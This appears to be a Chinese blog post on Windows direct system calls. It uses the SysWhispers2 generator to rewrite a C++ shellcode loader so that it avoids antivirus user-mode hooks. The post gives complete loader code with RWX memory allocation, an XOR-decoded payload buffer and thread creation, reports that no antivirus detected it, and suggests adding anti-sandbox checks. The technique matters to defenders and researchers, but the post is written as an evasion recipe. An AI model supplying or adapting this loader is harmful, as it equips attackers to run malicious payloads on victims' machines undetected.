什么是SysCall
在Windows中,进程处理体系被分为两种:用户模式和内核模式.
Notepad++
随便写一个文件我们查看一下这个操作
其中 U
代表是用户层, K
代表的是内核层,我们可以看见创建文件这个操作首先是调用 ntdll!NtCreateFile
之后切换为内核层的 ntoskrnl.exe!NtCreateFile
处理
可见 ntdll.dll
里面导出的是 Windows 的原生API, ntoskrnl
里是对其的实现(内核API).
在 WinDbg
中查看一下 ntdll!NtCreateFile
的汇编指令
mov r10,rcx
mov eax,55h
syscall
ret
其中 55h
是 ZwCreateFile
的调用号
值得一提的是很多系统的调用号是不同的,可以在这里面做下参考:
https://j00ru.vexillium.org/syscalls/nt/64/
SysCall
还是从最开始的简单利用加载 ShellCode 来看
#include <iostream>
#include <Windows.h>
int main()
{
DWORD dwThreadID;
HANDLE handle;
int shellcode_size;
unsigned char buf[]="";
shellcode_size = sizeof(buf);//
char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
WaitForSingleObject(handle,INFINITE);//等待线程结束
return 0;
}
跟踪一下Api试试看
可以看到 VirtualAlloc
底层调用的是 NtAllocateVirtualMemory
,而 CreateThread
调用的是 NtCreateThreadEx
其中 VirtualAlloc
以及 CreateThread
是比较敏感的Api,一般杀软对这种情况会做一个阈值处理,当特征达到一定数量后会作为病毒处理,因此我们可以通过直接系统调用,绕过杀软对用户层的 hook
使用SysWhispers2进行系统调用
ShellCode
请使用 x64
, X86
可以看下 https://github.com/mai1zhi2/SysWhispers2_x86
根据每个系统的不同,调用号也是不同的,我们可以根据前人的研究成果来更方便的进行学习
根据 Outflank 的 文章
我们可以根据 Native 的 API RtlGetVersion
来获取系统的版本
后面经过学习发现 Jackson 的 SysWhispers2 项目有更好的适用性,该项目采用了 modexp 的方法
先使用 SysWhispers2
生成我们的文件
将这些文件放入我们的项目
用 NtAllocateVirtualMemory
和 NtWriteVirtualMemory
以及 NtCreateThreadEx
这些Native的API替换成我们加载ShellCode的常规操作(申请内存、拷贝内存、创建线程)
测试代码为
#include <iostream>
#include <Windows.h>
#include "syscalls.h"
int main()
{
DWORD dwThreadID;
HANDLE handle;
int shellcode_size;
unsigned char buf[] = "";
for (int test = 0; test < sizeof(buf); test++) {
buf[test] = buf[test] ^ 10;
}
HANDLE hProc = GetCurrentProcess();
PVOID ptr = NULL;
HANDLE thandle = NULL;
shellcode_size = sizeof(buf);//
SIZE_T allocation_sizes = sizeof(buf);
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NTSTATUS NTAVV = NtWriteVirtualMemory(hProc,ptr,buf, allocation_sizes,0);
NTSTATUS ct = NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,ptr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, INFINITE);
free(ptr);
// char* shellcode = (char*)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
// CopyMemory(shellcode, buf, shellcode_size);//将Shellcode放进内存页
//handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadID);//创建线程
//WaitForSingleObject(handle, INFINITE);//等待线程结束
return 0;
}
一众杀软均无反应
看下API的调用情况
发现调用的基本都是 Native
的 API
Vt检出良好,加几个反沙箱之类的估计就更完美了
其他
SysWhispers2
不支持 x86
的架构,国内有师傅改了一下,使其支持 x86
https://github.com/mai1zhi2/SysWhispers2_x86 (有问题的话记得看Issues)
参考资料
https://github.com/jthuraisamy/SysWhispers
https://y4er.com/post/using-csharp-to-syscall/
https://github.com/outflanknl/Dumpert
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://mp.weixin.qq.com/s/2Gui2tVOkG4JIRQe7gMP0A
https://lengjibo.github.io/syscall/
http://www.codewarrior.cn/ntdoc/winnt/mm/NtWriteVirtualMemory.htm